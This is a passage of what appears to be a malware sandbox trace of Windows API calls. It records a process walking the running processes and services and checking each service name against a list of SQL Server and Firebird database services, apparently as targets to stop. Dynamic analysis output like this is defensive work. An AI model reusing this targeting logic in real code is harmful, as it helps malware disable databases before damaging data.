(lpString="OfficeClickToRun.exe") returned 20 [0120.026] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0120.027] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0120.027] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.028] lstrlenW (lpString="explorer.exe") returned 12 [0120.028] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0120.028] lstrlenW (lpString="Memory Compression") returned 18 [0120.028] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.029] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0120.029] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.030] lstrlenW (lpString="SearchUI.exe") returned 12 [0120.030] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.030] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0120.031] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.031] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0120.031] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.032] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.032] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0120.033] lstrlenW (lpString="UsoClient.exe") returned 13 [0120.033] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.034] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.034] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0120.034] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0120.034] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0120.035] lstrlenW (lpString="msoia.exe") returned 9 [0120.035] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0120.036] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0120.036] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0120.036] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0120.036] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0120.037] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0120.037] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0120.038] lstrlenW (lpString="arc obviously.exe") returned 17 [0120.038] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0120.038] lstrlenW (lpString="scholars.exe") returned 12 [0120.039] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0120.039] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0120.039] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0120.040] lstrlenW (lpString="organizing.exe") returned 14 [0120.040] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0120.041] lstrlenW (lpString="campus.exe") returned 10 [0120.041] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0120.041] lstrlenW (lpString="mug.exe") returned 7 [0120.042] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0120.042] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0120.042] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0120.043] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0120.043] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0120.058] lstrlenW (lpString="powers mixture.exe") returned 18 [0120.059] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0120.060] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0120.060] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0120.061] lstrlenW (lpString="bachelor.exe") returned 12 [0120.061] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0120.062] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0120.062] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0120.063] lstrlenW (lpString="indication wage paying.exe") returned 26 [0120.063] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0120.063] lstrlenW (lpString="thee pub emission.exe") returned 21 [0120.063] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0120.064] lstrlenW (lpString="dllhost.exe") returned 11 [0120.064] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0120.065] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0120.065] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0120.066] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0120.066] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0120.067] lstrlenW (lpString="upgrading.exe") returned 13 [0120.067] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0120.067] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0120.067] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0120.071] lstrlenW (lpString="russell.exe") returned 11 [0120.071] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.072] lstrlenW (lpString="conhost.exe") returned 11 [0120.072] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.073] lstrlenW (lpString="conhost.exe") returned 11 [0120.073] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.074] lstrlenW (lpString="svchost.exe") returned 11 [0120.074] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0120.074] lstrlenW (lpString="1csrss.exe") returned 10 [0120.074] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0120.197] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0120.197] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.198] lstrlenW (lpString="conhost.exe") returned 11 [0120.198] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0120.199] lstrlenW (lpString="cmd.exe") returned 7 [0120.199] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0120.201] lstrlenW (lpString="conhost.exe") returned 11 [0120.201] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.202] lstrlenW (lpString="svchost.exe") returned 11 [0120.202] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0120.203] lstrlenW (lpString="mode.com") returned 8 [0120.203] Process32NextW (in: hSnapshot=0x370, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0120.204] CloseHandle (hObject=0x370) returned 1 [0120.204] Sleep (dwMilliseconds=0x1f4) [0120.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eed68 [0120.717] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0121.058] GetLastError () returned 0xea [0121.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1dbc) returned 0x6110e0 [0121.058] EnumServicesStatusExW (in: hSCManager=0x5eed68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6110e0, cbBufSize=0x1dbc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6110e0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0121.210] CloseServiceHandle (hSCObject=0x5eed68) returned 1 [0121.274] lstrlenW (lpString="Appinfo") returned 7 [0121.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0121.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0121.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0121.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0121.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0121.274] lstrlenW (lpString="AppXSvc") returned 7 [0121.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0121.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0121.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0121.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0121.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0121.274] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0121.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0121.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0121.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0121.274] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0121.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0121.274] lstrlenW (lpString="Audiosrv") returned 8 [0121.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0121.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0121.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0121.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0121.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0121.275] lstrlenW (lpString="BFE") returned 3 [0121.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0121.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0121.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0121.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0121.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0121.275] lstrlenW (lpString="BITS") returned 4 [0121.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0121.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0121.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0121.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0121.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0121.275] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0121.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0121.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0121.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0121.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0121.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0121.275] lstrlenW (lpString="CDPSvc") returned 6 [0121.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0121.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0121.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0121.276] lstrlenW (lpString="ClickToRunSvc") returned 13 [0121.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0121.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0121.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0121.276] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0121.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0121.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0121.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0121.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0121.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0121.276] lstrlenW (lpString="CryptSvc") returned 8 [0121.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0121.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0121.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0121.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0121.276] lstrlenW (lpString="DcomLaunch") returned 10 [0121.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0121.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0121.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0121.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0121.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0121.277] lstrlenW (lpString="DeviceAssociationService") returned 24 [0121.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0121.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0121.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0121.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0121.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0121.277] lstrlenW (lpString="Dhcp") returned 4 [0121.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0121.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0121.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0121.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0121.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0121.277] lstrlenW (lpString="Dnscache") returned 8 [0121.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0121.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0121.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0121.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0121.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0121.279] lstrlenW (lpString="DoSvc") returned 5 [0121.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0121.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0121.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0121.281] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0121.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0121.281] lstrlenW (lpString="DPS") returned 3 [0121.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0121.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0121.281] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0121.281] lstrcmpiW (lpString1="mssqlserver", 